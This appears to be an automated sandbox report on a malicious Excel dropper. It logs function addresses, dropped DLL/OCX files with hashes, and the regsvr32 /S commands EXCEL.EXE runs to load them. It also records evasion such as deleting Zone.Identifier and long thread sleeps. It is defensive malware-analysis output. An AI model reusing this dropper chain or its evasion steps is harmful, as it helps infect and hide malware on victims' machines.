Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000796C	5_2_000000018000796C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180010590	5_2_0000000180010590
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028D94	5_2_0000000180028D94
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800091A8	5_2_00000001800091A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800171B8	5_2_00000001800171B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018DBC	5_2_0000000180018DBC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800141C8	5_2_00000001800141C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B1D4	5_2_000000018002B1D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023DDC	5_2_0000000180023DDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800165E4	5_2_00000001800165E4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180029DF0	5_2_0000000180029DF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015DF4	5_2_0000000180015DF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800011F4	5_2_00000001800011F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000FE08	5_2_000000018000FE08
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180027E14	5_2_0000000180027E14
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B618	5_2_000000018000B618
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023220	5_2_0000000180023220
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020A34	5_2_0000000180020A34
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007634	5_2_0000000180007634
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022E38	5_2_0000000180022E38
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E638	5_2_000000018000E638
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180010250	5_2_0000000180010250
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026A64	5_2_0000000180026A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180004264	5_2_0000000180004264
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013674	5_2_0000000180013674
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F678	5_2_000000018000F678
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E278	5_2_000000018000E278
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180005E7C	5_2_0000000180005E7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025E88	5_2_0000000180025E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002868C	5_2_000000018002868C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014E98	5_2_0000000180014E98
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014AA4	5_2_0000000180014AA4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800126A8	5_2_00000001800126A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800036A8	5_2_00000001800036A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002A6BC	5_2_000000018002A6BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001CABC	5_2_000000018001CABC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000EAC0	5_2_000000018000EAC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001B6D4	5_2_000000018001B6D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F2DC	5_2_000000018000F2DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800202E0	5_2_00000001800202E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800226E0	5_2_00000001800226E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019AF0	5_2_0000000180019AF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000BEF0	5_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012EF8	5_2_0000000180012EF8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180029710	5_2_0000000180029710
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017710	5_2_0000000180017710
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000C740	5_2_000000018000C740
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020F44	5_2_0000000180020F44
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023B48	5_2_0000000180023B48
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023748	5_2_0000000180023748
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021754	5_2_0000000180021754
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022358	5_2_0000000180022358
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180029F5C	5_2_0000000180029F5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B368	5_2_000000018002B368
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001BF70	5_2_000000018001BF70
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025374	5_2_0000000180025374
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007F74	5_2_0000000180007F74
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021F7C	5_2_0000000180021F7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019788	5_2_0000000180019788
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001B8C	5_2_0000000180001B8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028394	5_2_0000000180028394
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013B94	5_2_0000000180013B94
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001479C	5_2_000000018001479C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E7A0	5_2_000000018000E7A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800087A4	5_2_00000001800087A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017BA8	5_2_0000000180017BA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000EBAC	5_2_000000018000EBAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001B3B8	5_2_000000018001B3B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012BB8	5_2_0000000180012BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800257C0	5_2_00000001800257C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008BC0	5_2_0000000180008BC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800117C4	5_2_00000001800117C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800227E0	5_2_00000001800227E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_003B0000	6_2_003B0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800083F8	6_2_00000001800083F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180026410	6_2_0000000180026410
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000680F	6_2_000000018000680F
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180025C30	6_2_0000000180025C30
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180013674	6_2_0000000180013674
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180017C8C	6_2_0000000180017C8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000A48C	6_2_000000018000A48C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000BEF0	6_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180029710	6_2_0000000180029710
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180026F14	6_2_0000000180026F14
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180023748	6_2_0000000180023748
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180001D58	6_2_0000000180001D58
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018002B368	6_2_000000018002B368
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180001378	6_2_0000000180001378
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180010590	6_2_0000000180010590
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800091A8	6_2_00000001800091A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800165E4	6_2_00000001800165E4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180018FE8	6_2_0000000180018FE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001ABE8	6_2_000000018001ABE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180029DF0	6_2_0000000180029DF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800243F4	6_2_00000001800243F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180015DF4	6_2_0000000180015DF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800011F4	6_2_00000001800011F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800247FC	6_2_00000001800247FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001DBFC	6_2_000000018001DBFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000FE08	6_2_000000018000FE08
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001100C	6_2_000000018001100C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180027E14	6_2_0000000180027E14
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000B618	6_2_000000018000B618
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180023220	6_2_0000000180023220
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180027C28	6_2_0000000180027C28
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180020A34	6_2_0000000180020A34
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180007634	6_2_0000000180007634
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180022E38	6_2_0000000180022E38
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000E638	6_2_000000018000E638
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018002143C	6_2_000000018002143C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001303C	6_2_000000018001303C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018002A840	6_2_000000018002A840
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180003840	6_2_0000000180003840
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000B444	6_2_000000018000B444
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000F048	6_2_000000018000F048
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018002AC4C	6_2_000000018002AC4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180010050	6_2_0000000180010050
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180010250	6_2_0000000180010250
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180003050	6_2_0000000180003050
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180011E5C	6_2_0000000180011E5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000445C	6_2_000000018000445C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000C85C	6_2_000000018000C85C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180003460	6_2_0000000180003460
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180026A64	6_2_0000000180026A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180004264	6_2_0000000180004264
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180029C6C	6_2_0000000180029C6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001586C	6_2_000000018001586C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000406C	6_2_000000018000406C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000E06C	6_2_000000018000E06C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000BC70	6_2_000000018000BC70
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000F678	6_2_000000018000F678
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000E278	6_2_000000018000E278
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018001447C	6_2_000000018001447C
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180005E7C	6_2_0000000180005E7C

Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74F7FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF70C7FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF706BD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF7067FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF70CBD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74FBD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 00000001800153F4 appears 48 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D27FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF706B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2BD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74FB3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF70CB3B0 appears 148 times

Source: Datei_26744565.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE
Source: Datei_26744565.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll B59F16EE5E524814316A8BE8EF54EA02F9A496267555E65EEB585E4ADE85FFEC
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll 52769F52F479F16D61C449D307C7FD1FA23FAA0B5589500E0967CD7955CA93D6
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll 306C6E39327DAD93262B4531BA5B95B35F4541C70B0D4A6FE5F1DC8C96C86D8C

Source: Datei_26744565.xls

ReversingLabs: Detection: 39%

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MreGm\Zazriwdkuo.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AnDDvm\lwQjfM.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IvkabqgmpEJ\fEKh.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MreGm\Zazriwdkuo.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AnDDvm\lwQjfM.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IvkabqgmpEJ\fEKh.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\uxevr1.ocx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR55EC.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@17/18@4/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: Datei_26744565.xls	OLE indicator, Workbook stream: true
Source: Datei_26744565.xls.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180029710 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

4_2_0000000180029710

Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: Datei_26744565.xls

Initial sample: OLE indicators vbamacros = False

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006951 pushad ; retf	3_2_0000000180006953
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006951 pushad ; retf	5_2_0000000180006953
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180006951 pushad ; retf	7_2_0000000180006953
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180006951 pushad ; retf	9_2_0000000180006953

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30CC0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

3_2_000007FEF9D30CC0

Source: T35PENELLOsp[1].dll.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x5caa2
Source: Jf8[1].dll.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x5ef33
Source: uxevr1.ocx.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x5ef33
Source: 1Cb5zOjLgWGDemz55C5[1].dll.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x64194
Source: uxevr3.ocx.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x64194
Source: uxevr2.ocx.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x644de
Source: 4HWP0KQI[1].dll.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x644de
Source: uxevr4.ocx.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x5caa2

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\MreGm\Zazriwdkuo.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\IvkabqgmpEJ\fEKh.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\AnDDvm\lwQjfM.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\MreGm\Zazriwdkuo.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\IvkabqgmpEJ\fEKh.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\AnDDvm\lwQjfM.dll (copy)	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\MreGm\Zazriwdkuo.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\AnDDvm\lwQjfM.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\IvkabqgmpEJ\fEKh.dll:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 1484	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2368	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2104	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1812	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 324	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1156	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2252	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1288	Thread sleep time: -240000s >= -30000s	Jump to behavior

